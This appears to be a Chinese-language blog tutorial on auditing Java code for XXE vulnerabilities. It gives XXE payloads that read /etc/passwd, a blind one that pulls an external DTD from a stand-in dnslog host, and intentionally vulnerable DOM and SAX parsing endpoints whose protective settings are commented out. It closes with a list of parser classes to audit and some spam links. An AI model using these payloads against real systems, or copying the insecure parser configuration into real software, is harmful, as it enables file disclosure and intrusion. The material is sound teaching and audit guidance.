java代审之XXE
一、什么是XXE漏洞
xxe攻击也叫xml外部实体注入攻击,是一种常见的Web应用安全漏洞,通过漏洞可导致任意文件读取、目录遍历、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等安全问题。
当应用程序使用XML处理器解析外部XML实体时,可能会发生XXE漏洞,使用场景比如后台解析xml请求包、文件上传excel或word文档时后端代码解析等。
二、XXE漏洞利用
xxe漏洞利用方式有很多,大致可分为有回显、无回显、基于报错的攻击利用。篇幅原因仅简单见解,网上有很多大佬已经说的非常通透了,具体看这两篇文章很全面的介绍了XXE漏洞的攻击方式。
https://xz.aliyun.com/t/3357
https://tttang.com/archive/1813/
有回显的利用POC:
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]><root>&file;</root>
无回显利用POC:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://dnslog/ext.dtd">%aaa;%ccc;%ddd;]>
基于报错的利用POC:
poc来自phith0n(p牛)的代码审计(知识星球),也可以看:https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % NUMBER '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>any text</message>
Office XXE:
这个漏洞在src挖掘中有挖到过,具体漏洞利用见:https://www.cnblogs.com/chm0d/p/17668508.html
三、XML解析代码演示
这里介绍java原生自带的xml解析DOM解析与SAX解析。
DOM (Document Object Model) 解析:这是一种基于树的解析器,它将整个 XML 文档加载到内 存中,并将文档组织成一个树形结构。
@RestController
public class DOMTest {
@RequestMapping(value = "/domDemo/vul",method = RequestMethod.POST)
public String domDemo(HttpServletRequest request){
try {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStream.convertStreamToString(in);
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
/* 修复:禁止外部实体引用
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
*/
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(is);
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
return "EXCEPT ERROR!!!";
}
}
}
SAX (Simple API for XML) 解析:这是一种基于事件的解析器,它逐行读取 XML 文档并触发特定的 事件。
@RestController
public class SAXTest {
@RequestMapping("/saxDemo/vul")
public String saxDemo(HttpServletRequest request) throws IOException {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStream.convertStreamToString(in);
try {
SAXParserFactory spf = SAXParserFactory.newInstance();
// spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = spf.newSAXParser();
SAXParserHandler handler = new SAXParserHandler();
//解析xml
parser.parse(new InputSource(new StringReader(body)),handler);
return "Sax xxe vule code";
} catch (Exception e) {
return "ERROR....";
}
}
}
还有其他几种方式解析xml并介绍了对应的防御:https://blog.spoock.com/2018/10/23/java-xxe/
setFeature有时也无法防止xxe:https://b1ue.cn/archives/387.html
四、XXE漏洞审计函数(方法)
XMLReaderFactory
createXMLReader
SAXBuilder
SAXReader
SAXParserFactory
newSAXParser
Digester
DocumentBuilderFactory
DocumentBuilder
XMLReader
DocumentHelper
XMLStreamReader
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.stream.XMLStreamReader
javax.xml.stream.XMLInputFactory
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.jdom.output.XMLOutputter
oracle.xml.parser.v2.XMLParser
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.dom4j.DocumentHelper
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
java.beans.XMLDecoder
java代审之XXE的更多相关文章
- 程序代写, CS代写, 代码代写, CS编程代写, java代写, python代写, c++/c代写, R代写, 算法代写, web代写
互联网一线工程师程序代写 微信联系 当天完成 查看大牛简介特色: 学霸代写,按时交付,保证原创,7*24在线服务,可加急.用心代写/辅导/帮助客户CS作业. 客户反馈与评价 服务质量:保证honor ...
- CS代码代写, 程序代写, java代写, python代写, c/c++代写,csdaixie,daixie,作业代写,代写
互联网一线工程师程序代写 微信联系 当天完成特色: 互联网一线工程师 24-48小时完成.用心代写/辅导/帮助客户CS作业. 客户反馈与评价 服务质量:保证honor code,代码原创.参考课程sl ...
- java代写
Computer Science, Claremont McKenna CollegeCS51.2 - Introduction to Computer Science, Fall 2014Probl ...
- Java 审计之XXE篇
Java 审计之XXE篇 0x00 前言 在以前XXE漏洞了解得并不多,只是有一个初步的认识和靶机里面遇到过.下面来 深入了解一下该漏洞的产生和利用. 0x01 XXE漏洞 当程序在解析XML输入时, ...
- 浅析Java 泛型
泛型是JavaSE5引入的一个新概念,但是这个概念在编程语言中却是很普遍的一个概念.下面,根据以下内容,我们总结下在Java中使用泛型. 泛型使用的意义 什么是泛型 泛型类 泛型方法 泛型接口 泛型擦 ...
- 安卓中級教程(9):pathbutton中的animation.java研究(2)
src/geniuz/myPathbutton/composerLayout.java package geniuz.myPathbutton; import com.nineoldandroids. ...
- 代写assignment
集英服务社,强于形,慧于心 集英服务社,是一家致力于优质学业设计的服务机构,为大家提供优质原创的学业解决方案.多年来,为海内外学子提供了多份原创优质的学业设计解决方案. 集英服务社,代写essay/a ...
- Java探针
使用java代理来实现java字节码注入 使用JavaSsist可以对字节码进行修改 使用ASM可以修改字节码 使用Java代理和ASM字节码技术开发java探针工具可以修改字节码 备注:javass ...
- dotNet程序员的Java爬坑之旅(二)
囉里囉唆的寫了一大堆,最後還是全刪除了.哎~ 言歸正傳,最近因爲發生了很多事情,所以更新的有嗲晚了,最近也一直在學習,但是感覺效率什麽的不是很高,這是不對的,反思一下,從這篇博文開始,打起精神吧. M ...
- 20175314 《Java程序设计》第三周学习总结
20175314 <Java程序设计>第三周学习总结 教材学习内容总结 编程语言的发展事是从面向机器(汇编.机器)到面向过程(C)再到面向对象(Java) 成员变量: 1.成员变量定义在类 ...
随机推荐
- 源码解析Collections.sort ——从一个逃过单测的 bug 说起
本文从一个小明写的bug 开始,讲bug的发现.排查定位,并由此展开对涉及的算法进行图解分析和源码分析. 事情挺曲折的,因为小明的代码是有单测的,让小明更加笃定自己写的没问题.所以在排查的时候,也经历 ...
- STA学习笔记-0
如今的逻辑设计复杂度和工作频率要求越来越高.为了保证设计稳定可靠,必须对设计附加时序约束,对综合实现结果进行时序分析. 导言 时序约束:主要用于规范设计的时序行为,表达设计者期望满足的时序条件,指导综 ...
- IDEA:使用Test注解,控制台无法输入
解决方案 步骤一: 点击help ===> Edit Custom VM Options... 步骤二: 添加文件末尾添加如下内容 -Deditable.java.test.console=tr ...
- centos7.9 时间相关整理
1.date / timedatectl 显示当前时间(秒): date / date +"%Y-%m-%d %H:%M:%S" (%Y等含义通过data --h查看) 显示当前时 ...
- tcpdump抓指定端口/ip的数据包
抓指定端口,这里以7070端口为例 tcpdump -i ens192 port 7070 -s 0 -l -A -w /chris/70.pcap ens192是网卡 抓完ctrl c停止 抓指定 ...
- Xshell使用技巧及常用配置
Xshell使用 1.调整 Xshell 的终端显示和回滚缓冲区大小 磨刀不误砍柴工,为了更方便地学习 Linux,首先得对终端进行一些调整,步骤如下: 首先通过 xshell 顶部菜单中的文件--& ...
- loader的三种配置方式
在这篇 webpack处理css资源 文章中使用几个常用的loader 来编译 css 代码. 但其实 loader 的配置方式不止一种,一起来看看其它方式~ 在 webpack.config.js ...
- Oracle内存管理方式介绍(转载)
"Oracle内存管理可分为两大类,自动内存管理和手动内存管理.其中手动内存管理又可分为自动共享内存管理,手动共享内存管理,自动PGA内存管理以及手动PGA内存管理.本文会简单的介绍不同的内 ...
- WPF 入门笔记 - 07 - MVVM示例
滴咚,大家好久不见.好就没写东西了,鸽着鸽着就无了... 回到正题,上篇文章说完命令提了一嘴MVVM模式直接就上MVVMLight这些程序的框架了,虽然也没说多少,但还是有点不好过渡,这篇对MVVM做 ...
- Html+JavaScript实现手写签名
前言 Hello各位,本葡萄又来啦,今天遇到的场景是这样的:在日常业务流程中,经常需要某一流程环节中相关责任人员进行审批签字,早期许多公司为了省事就直接会把这位负责人的签名以键盘打字(楷体)的形式打印 ...